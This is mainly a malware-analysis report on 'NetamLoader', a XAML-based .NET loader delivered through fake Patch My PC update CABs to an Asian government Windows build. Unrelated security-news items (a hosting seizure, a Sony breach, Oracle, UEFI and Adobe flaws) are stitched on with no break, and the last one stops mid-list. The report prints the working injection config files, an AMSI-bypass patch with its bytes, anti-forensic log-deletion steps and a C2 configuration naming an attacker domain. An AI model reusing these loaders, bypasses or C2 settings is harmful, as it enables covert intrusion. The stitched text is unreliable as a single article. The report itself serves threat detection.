Introduction A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established. The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report. Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*. Background During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive: C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24dStarting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework. Initial infection The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\: Files compressed in the CAB file Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments: C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxAfter the file is launched in this manner, the infection chain progresses to stage 1. Stage 1 Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below. Infection chain: Stage 1 Step 1 The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config. <?xml version="1.0" encoding="utf-8" ?> <configuration> <runtime> <appDomainManagerType value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration"> </appDomainManagerType> <appDomainManagerAssembly value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"> </appDomainManagerAssembly> <NGenAssemblyUsageLog enabled="0" /> </runtime> <startup> <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" /> </startup> </configuration> According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below: <?xml version="1.0" encoding="utf-8"?> <section name="foo"> <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089(Resources.resx)" /> </section> Step 2 The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing. In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded: Multiple layers of payloads are compressed and encrypted in the .resx file The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class. Base64-encoded serialized binary object in Resources.resx Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object. XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax. A code snippet of XAML-1 Step 3 The XAML-1 code acts as a loader for an embedded payload. The process is as follows: Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase. Generate the AES key by hashing the command‑line string with SHA‑256. Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2. Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load(). If any exception occurs during decryption, trigger Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack. Stage 2 XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage. Infection chain: Stage 2 XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load(). A code snippet of XAML-2 XAML-2-1 The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning. Sensitive strings in XAML-2-1 are cut into tiny pieces To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string. The key steps it takes to achieve its goal are as follows: Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation. Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID. Patch the AMSI module. Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3). Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method. Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0). One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks. XAML-2-2 XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter. .NET 1 Loader .NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below: { "p": "[Base64‑encoded JSON, which we call JSON‑1-p]" "c": "[Base64‑encoded JSON, which we call JSON‑1-c]" } JSON-1-c This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server. sc false Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped. c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server. tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate. e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader. JSON-1-p JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads: oib: Base64‑encoded .NET 2 Plugin (PE file) oub: Base64‑encoded XAML that invokes Exit(0) ibk: AES key used to decrypt ibi ibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below. Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage. [ { "c": [ { "cu": "https://openaigpt4v.com/model_v4/", "tp": "*", "rh": "" } ], "mib": 79200, "mab": 100800, "mis": 1200, "mas": 2400, "e": "9fT04e03tAiZAPogcDWt0w==", "ii": null, "aop": null, "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...", "oub": "PFJlc291cmNlRGljdGlvbmFyeS...", "wi": 100801, "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=", "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...", "de": false } ] After obtaining the configuration, .NET 1 Loader proceeds with the following key steps: Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1. Delete malicious files extracted from the CAB PatchMyPC-ScriptRunner.exe.config fabric.config Resources.resx Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis. %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia. "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????" Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7. For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server. Verify that the current user is an administrator; if not, throw an exception with code 128. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid(). Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded. [ { // Fixed value "_": "0202097a-5c1e-460d-b5e0-030b9756b242", // Error number: 0 indicates successful execution "e": "0 ", // Value of config "ii" "i": "94aafd58-c00c-402a-aae6-858b4486a1a4" } ] POST the encrypted and encoded result to the reporting C2 server. XAML-3 XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__). The multi-layer encryption structure of “ibi” The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2. Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2). The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__. Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2. The C2 configuration in XAML‑P2 is shown below: Item Value Description ii 94aafd58-c00c-402a-aae6-858b4486a1a4 Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one). ec 9fT04e03tAiZAPogcDWt0w== Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication. bi 79200-100800 Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals. is 1200-2400 Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion. u Base64encodedXAML A short XAML snippet that calls Environment.Exit(0) wi 100801 Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process. de False Local exception logging switch: when set to False, exception logging is enabled. si 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 UID: generated using a custom method based on the registry key value SusClientId. cu https://openaigpt4vcom/model_v4/ Command-and-control (C2) server URL taken from the C2 server list. tp * Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu. rh Additional route header/data: not configured in this instance. When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C(). .NET 2 Plugin This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations. The following key steps are executed in this thread: Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables. Gather system information from the registry: "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab" Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“). Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader. Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536). If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey: "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = "" Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine. Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system. Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out. Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0). Periodic polling: Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4 Obtain the system proxy using three methods (see the Discovering proxies section below). Register an HTTPS callback (ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64. // Final HTTP request URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095" Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh. Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section). If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed. AES encryption scheme for network traffic All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values. For a given master key and a single-byte seed, the derivation works as follows: Generate a 16‑byte sequence from the seed; this serves as the HMAC key. Compute HMAC‑SHA256 over the master key to obtain an intermediate key. Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01. Take the first 16 bytes of the resulting hash; this becomes the final derived key. Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side. Seed Key type generated (client side) Key type generated (server side) 0 Decryption key Encryption key 1 Decryption authentication key Encryption authentication key 2 Encryption key Decryption key 3 Encryption authentication key Decryption authentication key The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance. Discovering proxies .NET 2 Plugin detects the system proxy using three methods: Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*). If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy(). If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy. These methods ensure that the malware can reach external networks even in complex network environments with proxies. Execute downloaded XAML payload in an isolated AppDomain This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML. In more detail, the process is as follows: Create a new isolated AppDomain with a randomly generated GUID as its name. Copy all configuration data from the current AppDomain into the new one. Set the proxy information in the new AppDomain and assign it to the variable px. Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate). Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload. Transfer any updated configuration data from the new AppDomain back to the original AppDomain. Unload the isolated AppDomain to complete the cleanup. This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution. Infrastructure The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare. Domain IP First seen Domain Registrar/ASN openaigpt4v[.]com 104.18.14[.]219 Sep 27, 2023 Cloudflare, Inc. / 15169 Victims Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities. Attribution After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group. Conclusions Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities. Indicators of Compromise File hashes F2458ED133F8D0CA19E22C10F577E98E e4537a1762fcafd2fd96bfc825bad34f9db9a24d E1DC6F1ED193594F2284BE22AE08DFA4 Resources.resx AB81564BCB8CA7E710C66832DE747556 .NET 1 Loader CFB8B281BDF5D9390E64B10C312FB2C1 .NET 2 Plugin 67E3617F8709D34F806F8E02BADBA8A5 fabric.config 514AC0D73B8A1B73488EF5E2E55A75C3 PatchMyPC-ScriptRunner.exe.config 514117D536E347560D049CFE0C609632 XAML-1 9000820D8153C24CD60D53001D3A97B6 XAML-2 B3C4A635179680EDAFB5D006CF0CFFC6 XAML-2-1 4F28622C5E60C01319BF48CF742FE1A5 XAML-2-2 C86D53392A87DD3F3E62D62C9B92A9BD XAML-3 File paths C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config C:\Windows\SoftwareDistribution\Download\Install\fabric.config C:\Windows\SoftwareDistribution\Download\Install\Resources.resx Domains and IPs openaigpt4v[.]com
U.S. law enforcement has seized the primary domain of Virtualine, a bulletproof hosting service advertised on cybercrime forums for facilitating illegal activities. The service also operated under the names Secury, Massgod, Spamhouse, Lanedo, and Omegatech, and promised to shield customers from legal complaints and requests from law enforcement and other authorities. The U.S. Department of Justice (DOJ) confirmed that Virtualine marketed services that permitted “illegal/black hat activities” ranging from phishing, spamming, and carding to port scanning. The FBI seized the primary domain of the service, virtualine[.net], following an investigation that involved Germany’s Polizei Hessen, the Netherlands’ Politie Midden-Nederland, the U.K.’s National Crime Agency, as well as private partners OverRIPE and Lumen.
Discord will allow search engines to index discussions in Discoverable Servers and make them accessible on the web to users outside the platform without an account or invitation. The goal is to surface useful information to the wider internet community instead of keeping it buried in Discord conversations. “Discussions in Discoverable Servers will soon be easier to find when you search the web, so you can find the answer you’re looking for and step straight into the conversation on Discord,” the messaging platform explains. The changes apply only to Discoverable Servers, publicly listed communities with at least 1,000 members. The platform says it hosts approximately 63,000 such servers. This decision excludes private servers, direct messages between users, and group announcements on servers that don’t meet the requirements.
Sony Network Communications has confirmed a data breach that compromised approximately 2.5 million records containing current and former customers’ personal information. A Sony Group Corporation subsidiary, the company provides telecommunications and technology services, acting as an internet service provider (ISP) in Japan. The breach occurred on October 19 and was detected four days later, when the company shut down the compromised servers and blocked external communication. In an announcement yesterday, the company said that its So-net member database, supporting its internet access service, was accessed by an unauthorized party. The investigation confirmed that a total of 2,585,481 customer records had been exposed, including the following types of information: No banking, payment card, or other account details were exposed.
Microsoft again asked Entra ID administrators to migrate users to phishing-resistant methods to avoid sign-in disruptions before it retires SMS and voice authentication in February 2027. This retirement process applies only to Microsoft Entra ID workforce tenant authentication scenarios and not to Azure AD B2C or Microsoft Entra External ID customer identity scenarios. Before Microsoft retires SMS and voice authentication, admins should ensure all users in their organizations use a phishing-resistant method, since they will no longer be able to use them to complete multifactor authentication and log in to their accounts. Admins can choose from passkeys, QR code authentication, FIDO2 security keys, and other Entra ID-supported sign-in methods. "Microsoft-provided SMS and voice authentication will retire starting February 1, 2027. Complete your migration before rollout begins to avoid interrupting users' sign-in experience," Microsoft said in a Microsoft 365 Message Center update on Tuesday.
Attackers are actively exploiting vulnerabilities across critical network infrastructure, and PHP flaws known as "PHP2Shell" put the web management interfaces of firewalls, VPNs, application delivery controllers, and other appliances at risk. The findings come from Eclypsium's October InfraTrust Pulse, a monthly report tracking security advisories affecting network devices, servers, firmware, chips, and other infrastructure. Between September 18 and October 14, InfraTrust tracked 133 new security advisories across 18 vendors, covering 2,813 vulnerabilities. Of those advisories, 37 were rated critical, five had a maximum CVSS score of 10.0, and 58 could be exploited remotely without authentication. Sixteen newly published advisories included vulnerabilities listed in CISA's Known Exploited Vulnerabilities catalog (KEV) as they were actively exploited.
Attackers have begun probing the Internet for systems unpatched against a recently disclosed critical Oracle E-Business Suite (EBS) vulnerability. Discovered in a core component of EBS's Application Object Library and tracked as CVE-2026-101767, this flaw lets unauthenticated threat actors with HTTP network access take over vulnerable systems in low-complexity attacks. Oracle released security updates to address the issue in its October 2026 Critical Security Patch Update on October 20 and urged customers to patch their systems immediately. "In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches," it said. "Oracle therefore strongly recommends that customers remain on actively-supported versions and apply security patches without delay."
CVE-2026-97631: A 16-year-old UEFI flaw (CVSS score of 9.5/10) enables pre-OS code execution. Exposed servers need firmware patches and checks. A critical flaw, tracked as CVE-2026-97631 (CVSS score of 9.5), in the firmware that boots most of the world’s servers is now public, and the patch details came out months early. The bug affects TianoCore EDK II, an open-source project used by hardware manufacturers and cloud providers to build UEFI firmware. UEFI is the software that starts a computer before the operating system loads. EDK II is widely used across the industry, including by major UEFI vendors such as AMI, Insyde and Phoenix. Even Microsoft’s more secure version, Project Mu, used the vulnerable component. “EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds Write”, Classic Buffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access. Successful exploitation of this vulnerability can lead to arbitrary code execution. It could also impact Confidentiality, Integrity, and Availability.” reads the advisory. The flaw can corrupt memory in a component that handles ICMP messages, which devices use to report network errors. Attackers could exploit it to run code before the operating system starts and before security protections such as Secure Boot are fully active. Secure Boot checks that the software loaded during startup can be trusted, while the Trusted Platform Module (TPM) supports security functions such as hardware-based trust. Although the attacker’s code does not remain active after execution, it could help attackers install other malicious components that run early in the boot process. The flaw is a 16-year-old buffer overflow in the PXE-Base Code driver (NetworkPkg/UefiPxeBcDxe). That driver lets servers, storage gear and other devices boot from code downloaded over a local network. While it does that, it listens for ICMP errors, and it never enforces the 504-byte limit on how much it copies. “While a machine is PXE-booting over IPv4 or IPv6, an unauthenticated network attacker who can deliver ICMP error messages to it can corrupt DXE-phase memory and execute arbitrary code before the operating system loads, before Secure Boot or measured boot has verified or measured any OS component.” states the advisory. A malicious insider, or a hacker with low-level access to the local network, can send an error message that spills code past the limit and corrupts the UEFI module running on the CPU. The advisory is more precise. The driver keeps a receive request open for ICMP errors and copies each message into a fixed 504-byte field called Mode.IcmpError. In both the IPv4 and IPv6 handlers (PxeBcIcmpErrorDpcHandle and PxeBcIcmp6ErrorDpcHandle) the bounds handling is wrong: a longer message still gets copied, and the destination pointer moves by the cumulative length and not the per-fragment length. So an oversized message writes attacker-controlled bytes past the field, and nothing earlier on the receive path limits its size. The attack is simple. The attacker sends a direct message to the target’s IP address during the PXE boot process, even from a remote network. Sending invalid data can stop the boot process and cause a denial of service. If the attacker knows the target’s firmware version, they can create a fake event to run their own code at ring 0, the CPU’s highest privilege level. This also bypasses attestation, which uses cryptographic checks to prove that the hardware is trustworthy. As a result, the attack can help an attacker turn limited access into full control. The attacker needs some control over the local network. This could be an insider or an external attacker who already has a foothold in the target network and is seeking to gain higher privileges. So far, there’s no evidence that this flaw can be exploited to gain initial access to a network from the outside. The flaw affects some systems that start up over a network using EDK2-based firmware with PXE enabled. Home and small-office users, and anyone who boots only from a disk drive, aren’t affected. Researchers planned to disclose the bug in January, but AMI published a fix last month, revealing details of the flaw. TianoCore then issued a public warning. Attackers can now study the fix to develop exploits, while updating firmware across many devices could take a long time. It’s still unclear which devices are affected. Intel and Arm say their own products aren’t directly affected, but manufacturers may add vulnerable code. Several other companies hadn’t answered questions when the article was published. Organizations should contact their system or firmware supplier and disable network boot where possible. They should also monitor logs for suspicious activity. TPM and Secure Boot remain useful protections, but they don’t stop this attack. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, CVE-2026-97631)
Adobe has released patches to address multiple critical security flaws in Campaign Classic that, if successfully exploited, could result in arbitrary code execution, security feature bypass, and privilege escalation. The list of eight vulnerabilities is as follows - CVE-2026-104351 (CVSS score: 9.9) - A code injection vulnerability that could lead to arbitrary code execution.
